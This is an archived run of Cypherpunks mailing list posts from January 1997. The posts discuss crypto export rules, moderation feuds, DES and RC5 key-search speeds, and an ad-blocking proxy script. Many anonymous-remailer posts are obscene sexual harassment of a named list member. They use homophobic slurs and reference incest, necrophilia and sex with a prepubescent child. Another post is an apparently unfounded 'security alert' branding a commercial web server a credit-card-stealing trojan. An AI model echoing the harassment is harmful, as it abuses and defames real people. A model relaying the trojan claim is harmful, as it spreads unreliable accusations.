Message-ID: <0mwCLF200YUh0Imr80@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

"Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu> writes:
<snip>
> The above may have been dictated via Dragon Dictate 2.51 voice
> recognition. Please be alert for unintentional word substitutions. 

Stego? Maybe 3 bits per substituted word? Good bye, uhnsufride, hello,
"speech recognition."

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

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=iACw
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: OKSAS <oksas@asimov.montclair.edu>
Date: Thu, 30 Jan 1997 10:35:55 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: A comment on the censorship policy
In-Reply-To: <7Zoc2D4w165w@bwalk.dm.com>
Message-ID: <Pine.SOL.3.93.970130133328.25609A-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 30 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
> OKSAS <oksas@asimov.montclair.edu> writes:
> > On Thu, 30 Jan 1997, Anonymous wrote:
> > > I cannot understand how some of my (accurate) criticisms of Sandfort's
> > > censorhip polices---some in direct response to his own self-serving posts
> > > declaring himself not to be a flamer himself---are not making it to the
> > > "New and Improved Censored List," while inane posts from Toto, Thorn, and
> > > someone named "Nurdane Oksas" are appearing.
> > 
> > 	WEll....that's not so bad ;)
> 
> I find Oksas's posts to be very interesting.  

	Thank you.

> > > (Oksas has the especially annoying habit of quoting entire posts and then
> > > appending a one-line piece of completely list-irrelevant fluff. Also,
> > 	Is it so annoying...? why did you read it to that point??? :)
> > 	Why could you not be so anonymous and tell me?  My posts are
> > 	a bit brief; Blancs' are far better, next time read hers.
> > 
> > > engaging in lovey-dovey posts with Vulis, who writes messages about how he
> > > longs to see Oksas naked.)
> > 
> > 	Huh??  You are being a 'fluff' here ;)
> 
> "Anonymous" is lying - I never posted any such thing.  of course the
> cocksuckr moderator passed on the "anon's" lies to the censored mailing
> list, and I bet he's goingto auto-bounce my refutation to "flames"
> - just as everyone had predicted.

	Anonymous is a jerk.
> > 	
	Best Regards,

	OKSAS





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Hornbeck <rnh2@ix.netcom.com>
Date: Thu, 30 Jan 1997 13:40:24 -0800 (PST)
To: cypherpunks@toad.com
Subject: Clarification on The Politics of Export Restrictions
Message-ID: <3.0.1.32.19970130133913.0068c9b0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


I am submitting the following a second time as the first one did not seem
to get posted.

==============

I agree the strategy would have to be hijack-proof.  Something like Gore
experiencing a convenient "change of heart" towards the end of this current
term and convincing Clinton and the administration to soften crypto export
restrictions which would make Gore look like a hero to the high-tech
community just in time for the election. Naturally this would have to be
carefully scripted but the objective would be to keep the democrats in power.

Just a theory.



>>Return-Path: <owner-cypherpunks@toad.com>
>>Date: Wed, 29 Jan 1997 23:43:43 -0800
>>From: Greg Broiles <gbroiles@netbox.com>
>>To: Rick Hornbeck <rnh2@ix.netcom.com>
>>Cc: cypherpunks@toad.com
>>Subject: Re: The Politics of Export Restrictions
>>Sender: owner-cypherpunks@toad.com
>>
>>At 09:44 PM 1/29/97 -0800, Rick Hornbeck wrote:
>>
>>>Is it possible the unreasonable crypto export restrictions are simply being
>>>imposed at this time for the purpose of making Al Gore look good when he
>>>runs for President in 2000?
>>
>>I suppose it's plausible, but it's an opportunity open to both candidates,
>>and more plausibly (because of lack of collaboration) to the Republicans -
>>e.g., Dan Quayle and the "Crypto Freedom For Americans" platform, promising
>>to rescue Silicon Valley from those evil regulatory Democrats. 
>>
>>If I were an evil politician trying to set up a trick like you suggest, I
>>think I'd want a scheme that my opponent(s) couldn't hijack and use against
>>me.
>>
>>--
>>Greg Broiles                | US crypto export control policy in a nutshell:
>>gbroiles@netbox.com         | 
>>http://www.io.com/~gbroiles | Export jobs, not crypto.
>>                            | 
>>
>>
>>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Thu, 30 Jan 1997 14:31:43 -0800 (PST)
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: Cats Out of Bags
In-Reply-To: <199701302036.MAA26546@netcom14.netcom.com>
Message-ID: <Pine.SUN.3.91.970130141730.3955H-100000@crl.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Thu, 30 Jan 1997, Vladimir Z. Nuri wrote:

> as I've said before, I really hate the "cat out of the bag"
> saying, as Aaron's recent comments indicate.

Interestingly, the saying, "to let the cat out of the bag" is
related to the saying, "to buy a pig in a poke."  A poke is a
sack or bag.  In times past, street peddlers would sell a mark a 
young pig.  The pig was supposedly put into a poke, but in fact,
a bag with a cat in it was substituted.  By the time the mark
figured out his mistake by "letting the cat out of the bag," the
peddler was long gone.  The lesson the mark learned was "Don't
buy a pig in a poke."

The better metaphor for crypto is that the genie is out of the
bottle.  Alternatively, that the crypto bell cannot be unrung.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Thu, 30 Jan 1997 12:08:12 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <199701301837.KAA10125@mail.pacifier.com>
Message-ID: <Pine.LNX.3.95.970130145535.22704B-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 30 Jan 1997, jim bell wrote:

> At 09:05 PM 1/28/97 -0800, Dale Thorn wrote:
> 
> >I dare say that the downside of this is much less pleasant than the
> >virtual anarchy (in the bad sense) we suffer now.  If the police get
> >out of control, A.P. will arrive just in time to plug a few of those
> >holes, so to speak.  Ideally, future robotics should be able to
> >provide something like Gort (sp?) to take the place of human officers,
> >given advances in the kind of pattern matching needed to deter
> >aggression and the like.  Those who don't make it past the robots,
> >well, the rest of us can learn to behave, and we'll be much better
> >off when we do.
> 
> 
> Your comparison with the fictional Gort, in the movie "The day the earth 
> stood still" is of course apt.  It was only after I'd written most of the 
> essay that I realized that an AP-type system would function much as Gort did.  
> 
> Occasionally we (CP) see a spoof where somebody claims to have developed a 
> software program to "replace the judicial system" or something like that.  

You may be able to replace the "Letter of the Law" but you can not
replace the "Spirit of the Law" with an Android or a bot.  (notice
I refuse to type like a geek with those "`" characters)  So, humanoids
will always be entitled to a jury of their "peers" as the constitution
says, and that means no AI involved.

AI was made for usenet management.

> Well, the problem with such a claim (aside from the obvious and enormous 
> AI-type difficulties) is that the current system contains numerous biases.  
> Writing a program to replace the legal system would presumably require that 
> these biases be measured (and admitted-to!) and implemented into a 
> well-defined system.  
> 
> What we'd discover is that the current system only barely resembles the 
> guarantees in the US Constitution. At that point, there would be an argument 
> between those who will insist that the Constitution be followed, and those 
> who believe that the current de-facto system, however biased, be maintained 
> as-is.  
> 

The 12 to 0 verdict will always be the bias in favor of the defendant,
and it must stay that way.

>  
> 
> Jim Bell
> jimbell@pacifier.com
> 

With the different combinations of Perl and Java and Lisp that are
around today, the time will come when an android or an AI bot will
have become dangerous to society, and charged with a crime.
Will it be entitled to a jury of it's peers?

mail.cypherpunks
alt.usenet.admin





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 30 Jan 1997 15:12:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: [ADMINISTRIVIUM] S/MIME
Message-ID: <199701302312.PAA04312@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Disruptive L[eakage] Vulis does NOT eat pussy. He only eats
asshole if it's got a big dick up in front. Whoever calls him
bisexual is a fucking liar. He likes to suck cocks in front of
an audience.

        /\_./o__ Dr.Disruptive L[eakage] Vulis
       (/^/(_^^'
      ._.(_.)_






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 30 Jan 1997 15:14:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Spam filters
Message-ID: <199701302312.PAA04358@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Deviant Vitriolic KOTM likes to be the man in the middle,
getting it both up the ass and in his mouth.

 ^-^-^-@@-^-^-^
      (..)     Deviant Vitriolic KOTM






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 30 Jan 1997 15:13:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Degausser
Message-ID: <199701302313.PAA04406@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Deceptive L<avabo> Violent K<ondom> Of The Moment enjoys sucking
the puss from his syphilitic homosexual friends.

   /o)\ Deceptive L<avabo> Violent K<ondom> Of The Moment
   \(o/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "A. Padgett Peterson P.E. Information Security" <PADGETT@hobbes.orl.mmc.com>
Date: Thu, 30 Jan 1997 12:16:12 -0800 (PST)
To: jimbell@pacifier.com
Subject: Re: RC5-12/32/5 contest solved
Message-ID: <970130151428.20215ea4@hobbes.orl.mmc.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Bell rote:
>Assuming it's possible to build a chip which tests solutions in a 
>massively-pipelined mode, the 400,000 or so solutions per second tried (for 
>what is probably a $2000 machine) would probably increase to 100 million per 
>second per chip (at a cost of maybe $100 per chip, if implemented in 
>parallel).    That's 5000 times more economical,  which would translate to a 
>find in 2-3 days if the same dollars in hardware were invested.

Hi Jim, still on your list 8*)

Funny thing is that 3 1/2 hours for a 40 bit search is the "real world"
number I was using two years ago (can look it up in various archives)
so is interesting that the first real test came out exactly the same.

Is why I said 40 bits should not protect anything worth more than U$250.00

Have good reason to believe your estimate for a purpose built machine this
year (expect 600,000,000 to 1,000,000,000 kps per sieve - these will not 
be cheap chips but will be commecially available). Expect 400 arrays
would be required to do DES in a day (average) but is a lot more
achievable than the 65k postulated by the gang of nine.

Still would not be too concerned about using DES so long as every message 
encrypted (including orders for a tuna on rye) and each uses a different
key - is "security by obscurity" in a way but am comfortable with it.

Besides, if really concerned will just superencrypt.

					Warmly,
						Padgett

	"I love it when a plan comes together."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Thu, 30 Jan 1997 15:32:56 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.com>
Subject: Re: Cats Out of Bags
In-Reply-To: <Pine.SUN.3.91.970130141730.3955H-100000@crl.crl.com>
Message-ID: <199701302332.PAA12616@netcom23.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


fascinating reading sandy, but

>
>The better metaphor for crypto is that the genie is out of the
>bottle.  Alternatively, that the crypto bell cannot be unrung.

these have the same conceptual limitations I was flaming. to
use the analogy:

1. it is unconstitutional to put a crypto genie in a bottle
in the first place.
2. it is unconstitutional to make laws against ringing crypto bells.

again, when you use the above analogies, the government can
argue with you and say, "no, we thing that crypto hasn't really
spread as much as it could without the ITAR", and this is a 
pretty difficult point to argue. how can you argue that crypto
has spread as much as it possibly can? relaxing regulations would
surely cause it to spread more than it has.

admittedly, I can't think of a nice substitute with a good "ring to it". <g>

however, I do like the saying that crypto-news has been using about
"our safe, our KEYS!!" or something similar. I propose that people
emphasize this. using any of the other analogies just encourages 
orwellian thinking along the lines in the government: oh YEAH?! who
SAYS the genie is out of the bottle?! what makes you think we can't
put him BACK THERE?!

so imho its all a diversion and a decoy. it's the wrong argument
to get involved in-- has crypto spread to make it impossible to 
contain? and as the saying goes, "never get in an
argument with a fool, people might not know the difference".

do we believe in the constitution or not? perhaps it becomes
a self-fulfilling prophecy when we don't.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 30 Jan 1997 15:36:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Clipper chip
Message-ID: <199701302336.PAA11396@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dick Vandal will fuck anything that moves, but he'd rather be
fucking his own mother's dead body.

      /^\
      |-|
      | |
     _| |____ Dick Vandal
    | | | | |
   <| | | | |
    \_______|






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 30 Jan 1997 15:37:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [PGP] PEM
Message-ID: <199701302337.PAA11726@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Deadwood L[apdancer] Vasectomy K[retin]OTM likes to be the
man in the middle, getting it both up the ass and in his mouth.

            ///
           (0 0)
    ____ooO_(_)_Ooo__ Dr.Deadwood L[apdancer] Vasectomy K[retin]OTM






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "XaViUs@pe.net" <hacker@pe.net>
Date: Fri, 31 Jan 1997 16:26:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: UNSCRIBE
Message-ID: <199702010026.QAA01149@pe.net>
MIME-Version: 1.0
Content-Type: text/plain


UNSCRIBE




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Thu, 30 Jan 1997 13:08:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Dr. Denning
Message-ID: <199701302049.PAA28115@holy.cow.net>
MIME-Version: 1.0
Content-Type: text/plain


Dogfucker L<ubricant> Vinegar K<ock>OfTheMoment is so vile
because rancid semen is dripping from all of his orifices.

  /~~~\
 {-O^O-} Dogfucker L<ubricant> Vinegar K<ock>OfTheMoment
  \ o /
   (-)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: svolaf@inet.uni-c.dk (Svend Olaf Mikkelsen)
Date: Thu, 30 Jan 1997 08:00:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: The BrydDes descracker. Beta-version available.
Message-ID: <32f5c492.24108705@mail.uni-c.dk>
MIME-Version: 1.0
Content-Type: text/plain


BrydDes is a DOS program, which issues a known plaintext attack for
DES encryption. The method is brute force.

ECB mode and CBC mode with known IV are supported.

On a Pentium 120, this version of the program can test 369,000 keys in
a second.

Please note that this is a beta-release. A new version will be shipped
February 11th, or earlier if errors are discovered.

So far source is not included. Automatic restart from the last key
tested is not supported yet, but a shell could be written.

The code is tested on a Pentium, but should run on a 486.

The program is available at http://inet.uni-c.dk/~svolaf/des.htm

Svend Olaf

PS. "Bryd" is crack or break in Danish.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 30 Jan 1997 15:57:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [GSM] 2 Questions
Message-ID: <199701302357.PAA17055@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dense Vaginal K>rud<OfTheMoment will fuck anything that moves,
but he'd rather be fucking his own daughter's prepubescent body.

             \|/
             @ @
        -oOO-(_)-OOo- Dense Vaginal K>rud<OfTheMoment






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 30 Jan 1997 15:57:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [OFF-TOPIC] Alphabet frequency charts
Message-ID: <199701302357.PAA17066@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dinghy Violent K)arcass(OfTheMonth wears satin lingerie
embroidered with pink swastikas, prancing around for his
homosexual, AIDS infected lovers.

        /\_./o__ Dinghy Violent K)arcass(OfTheMonth
       (/^/(_^^'
      ._.(_.)_






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 30 Jan 1997 15:57:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Denial of service attack
Message-ID: <199701302357.PAA17131@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Disruptive Viscera K[ondom] Of The Minute grew a beard to look
like his mother.

(~\/~) /~'\ /`~\   _    _
`\  /'(    `    ) ( `\/' )
  `'   `\     /'  `\    /' Disruptive Viscera K[ondom] Of The Minute
         `\ /'      `\/'
           '






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Thu, 30 Jan 1997 16:29:43 -0800 (PST)
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: Cats Out of Bags
In-Reply-To: <199701302332.PAA12616@netcom23.netcom.com>
Message-ID: <Pine.SUN.3.91.970130155512.8011H-100000@crl.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Thu, 30 Jan 1997, Vladimir Z. Nuri wrote:

> fascinating reading sandy, but
> 
> >
> >The better metaphor for crypto is that the genie is out of the
> >bottle.  Alternatively, that the crypto bell cannot be unrung.
> 
> these have the same conceptual limitations I was flaming. to
> use the analogy:
> 
> 1. it is unconstitutional to put a crypto genie in a bottle
> in the first place.
> 2. it is unconstitutional to make laws against ringing crypto bells.

We do not disagree except neither of the metaphors I gave suggest
anything about the "putting in the bag" part of the deal.  In no
way does either suggest a right, power or even ability of anyone
to limit any freedom.  They are mute on the subject.  Their sole
meaning is that one CAN'T undo what is already done.  In the
instant case, that means the wide-spread availability of strong
crypto.
 

 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 30 Jan 1997 14:22:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cats Out of Bags
In-Reply-To: <Pine.SOL.3.93.970130113556.22219A-100000@pegasus.montclair.edu>
Message-ID: <eD5c2D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


OKSAS <oksas@asimov.montclair.edu> writes:

> On Wed, 29 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
> 
> > sameer <sameer@c2.net> writes:
> > 
> > > 	David Aaron seems to make lying out of his ass a hobby. His
> > > talk at the RSA conference was such a load of bullshit it wasn't even
> > > funny.
> > 
> > The above is a flame.  But because Sandy works for Sameer, it was posted
> > to the censores list, not tosses to "cypherpunks-flames".
> 
> 	Hmm, I wonder what Sandy does for Sameer...
> 
> 	Regards,
> 

Not surprisingly, Sandy (a law school flunky) is a salesman for Sameer.
So is greg broils, who graduated from some obscure law school but
hasn't passed a bar exam. :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 30 Jan 1997 14:10:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cats Out of Bags
In-Reply-To: <199701301831.KAA12660@gabber.c2.net>
Message-ID: <Rg5c2D2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


sameer <sameer@c2.net> writes:

> > 
> > Remember, Aaron is employee of the government.  He talks in doublespeak,
> 
> 	Aaron is employee of the government. Therefore he must lie.

Sandy and Greg are employees of Sameer.  Therefore all 3 must lie.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 30 Jan 1997 14:24:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: Censorship
In-Reply-To: <199701301913.LAA12120@toad.com>
Message-ID: <uN5c2D3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


OKSAS <oksas@asimov.montclair.edu> writes:

> On Thu, 30 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
> > OKSAS <oksas@asimov.montclair.edu> writes:
> > > On Thu, 30 Jan 1997, Anonymous wrote:
> > > > I cannot understand how some of my (accurate) criticisms of Sandfort's
> > > > censorhip polices---some in direct response to his own self-serving pos
> > > > declaring himself not to be a flamer himself---are not making it to the
> > > > "New and Improved Censored List," while inane posts from Toto, Thorn, a
> > > > someone named "Nurdane Oksas" are appearing.
> > > 
> > > 	WEll....that's not so bad ;)
> > 
> > I find Oksas's posts to be very interesting.  
> 
> 	Thank you.

You are very welcome -- Sandy is a jerk for tossing your mail!

> 
> > > > (Oksas has the especially annoying habit of quoting entire posts and th
> > > > appending a one-line piece of completely list-irrelevant fluff. Also,
> > > 	Is it so annoying...? why did you read it to that point??? :)
> > > 	Why could you not be so anonymous and tell me?  My posts are
> > > 	a bit brief; Blancs' are far better, next time read hers.
> > > 
> > > > engaging in lovey-dovey posts with Vulis, who writes messages about how
> > > > longs to see Oksas naked.)
> > > 
> > > 	Huh??  You are being a 'fluff' here ;)
> > 
> > "Anonymous" is lying - I never posted any such thing.  of course the
> > cocksuckr moderator passed on the "anon's" lies to the censored mailing
> > list, and I bet he's goingto auto-bounce my refutation to "flames"
> > - just as everyone had predicted.
> 
> 	Anonymous is a jerk.
> > > 	

So are gilmore and the sandfart.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 30 Jan 1997 14:17:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Security alert!!!
Message-ID: <aw5c2D4w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


WARNING: There's a rogue trojan horse out there on the internet known as the
"stronghold web server".  It's actually a hacked-up version of Apache with a
backdoor, which allows hackers (or whoever knows the backdoor) to steal credit
card numbers and other confidentil information on the Internet.

Be careful! Always use encryption. Do not send confidential information 9such
as passwords and credit card numbers) to any site running the trojan horse
"stronghold". 

In general, beware of "snake oil" security products and hacked-up versions of
free software.

Please repost this warning to all relevant computer security forums.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 30 Jan 1997 15:57:23 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: uae_1.html
In-Reply-To: <199701301948.LAA18794@mail.pacifier.com>
Message-ID: <32F13DA1.A95@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


jim bell wrote:

> I wonder what these people will think when organizations like Teledesic and
> Iridium start operating (low-earth-orbit satellites) to allow
> totally-wireless connectivity.  It seems to me that there will be a market
> for services that allow anonymous browsing, perhaps with encrypted requests
> that return otherwise-unidentified data on a publicly-accessible airwaves.

  Think of the possibility of satellite-fed 'roving' InterNet sites.
  What will be the 'export' implications of sending crypto to a place
such as site.nowhere, site.somewhere, and site.intheUS-hee-hee.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 30 Jan 1997 16:33:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: [GSM] Hardening mailing lists against spam attacks
Message-ID: <199701310033.QAA27430@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Derisve Vitriol K[reep]OfTheMoment died of AIDS last night
with his faggot lover.

           __o
         _ \<_  Dr.Derisve Vitriol K[reep]OfTheMoment
        (_)/(_)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Thu, 30 Jan 1997 13:55:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: Counterproductive Dorothy Denning Flames
Message-ID: <199701302137.QAA28407@holy.cow.net>
MIME-Version: 1.0
Content-Type: text/plain


Warning: if you fuck a Dr.Decoy Vomit K<reep> Of The Moment in
the ass, a tapeworm might bite your penis.

    /\        /\
   +  \______/  +
      / .  . \
     <   /    >  Dr.Decoy Vomit K<reep> Of The Moment
      \ \--/ /
       ------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pgut001@cs.auckland.ac.nz
Date: Wed, 29 Jan 1997 19:40:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: New export controls to include code signing applications
Message-ID: <85459562931827@cs26.cs.auckland.ac.nz>
MIME-Version: 1.0
Content-Type: text/plain


The Men in Black made Lucky Green <shamrock@netcom.com> write:
 
>[Listing specific software prohibited from export]
>"c.2. "Software" to certify "software" controlled by 5D002.c.1; "
>
>And, btw, virus checkers are also prohibited from export. Makes you wonder.
>
>"c.3. "Software" designed or modified to protect against malicious computer
>damage, e.g., viruses;"
>
>That includes every firewall product, every virus checker, every data security
>product, and this regardless if the product uses crypto or not. The new
>regulations go way beyond controlling crypto. The USG, in a massive power
>grip, has put data security as a whole on the export control list.
 
These aren't new regulations, they're old regulations which have resurfaced.
I've managed to obtain a copy of part of the old pre-Wassenaar COCOM
regulations, which contain the magic lines:
 
  5.D.2.c Specific "software" as follows:
 
    1. "Software" having the characteristics, or performing or simulating the
        functions of the equipment embargoed by 5.A.2 or 5.B.2.
 
    2. "Software" to certify "software" embargoed by 5.D.2.c.1.
 
    3. "Software" designed or modified to protect against malicious computer
        damage, e.g. viruses.
 
This is from the October 1991 version.
 
By October 1996 this had changed to:
 
  5D002 c Specific "software" as follows:
 
    1. "Software" having the characteristics, or performing or simulating the
        functions of the equipment embargoed by 5A002 or 5B002.
 
    2. "Software" to certify "software" specified in 5D002.c.1.
 
It looks like someone used the old COCOM regs as the basis for the EAR rather 
than the newer Wassenaar ones.  The two are almost identical anyway except for 
a few minor points.  It's likely that the anti-virus clause is due to 
bureaucratic bungling rather than malicious intent.
 
Peter.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Thu, 30 Jan 1997 14:23:34 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: ad.doubleclick.net (fwd)
Message-ID: <Pine.LNX.3.95.970130172237.1585F-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


Date: Thu, 23 Jan 1997 14:15:38 -0800
From: Caveh Frank Jalali <caveh@Eng.Sun.COM>
Subject: URL filtering, Re: ad.doubleclick.net (RISKS-18.78)

The obvious defense against hostile or undesirable web sites is to not visit
them in the first place.  This process can in fact be automated in
netscape's browser.  This saves bandwidth and your time!

The basic premise is that the browser may optionally execute a function on
every URL before it is accessed to determine whether a direct connection
should be made or a proxy should be used in the process.  This affords the
opportunity to [mis]direct the browser to fetch the document from an invalid
source.  this is a good approximation of not getting the document at all.

We sit behind a fire wall, so all WWW access has to funnel through a
proxy.  If I tell netscape to fetch an external document using a
direct connection, the connection attempt will fail, and the document
will not be accessed.  Netscape will put a broken image icon in its
place.

Here are the nuts and bolts to do it, but some assembly is required:
Under options/network preferences/proxies, select "automatic proxy
config" and tell it which file to use.  Call it something like
"file:///HOMEDIR/.netscape/proxy.pac", replacing HOMEDIR with your
home directory; the actual code is included below.
Next, go to options/general preferences/helpers and create an
application helper of type "application/x-ns-proxy-autoconfig" for
suffix "pac", handled by "navigator".
Install this java-script code to do the actual filtering.  call it
"file:///HOMEDIR/.netscape/proxy.pac", as mentioned before.

================
function FindProxyForURL(url, host) {
	if ( isResolvable(host) && ! shExpMatch(host, "[0-9]*") )
		return "DIRECT" ;
	else if (host == "advertising.quote.com")
		return "DIRECT" ;
	else if (host == "ad.doubleclick.net")
		return "DIRECT" ;
	else if (shExpMatch(url, "*:*/ads/*"))
		return "DIRECT" ;
	else
		return "PROXY webcache:8080; ";
}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 30 Jan 1997 17:20:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Clarification on The Politics of Export Restrictions
In-Reply-To: <3.0.1.32.19970130133913.0068c9b0@popd.ix.netcom.com>
Message-ID: <ua9c2D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Rick Hornbeck <rnh2@ix.netcom.com> writes:

> I am submitting the following a second time as the first one did not seem
> to get posted.
> 
...

Sandy Sandford continues to junk crypto-relevant submissions to the "flames"
list.  

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
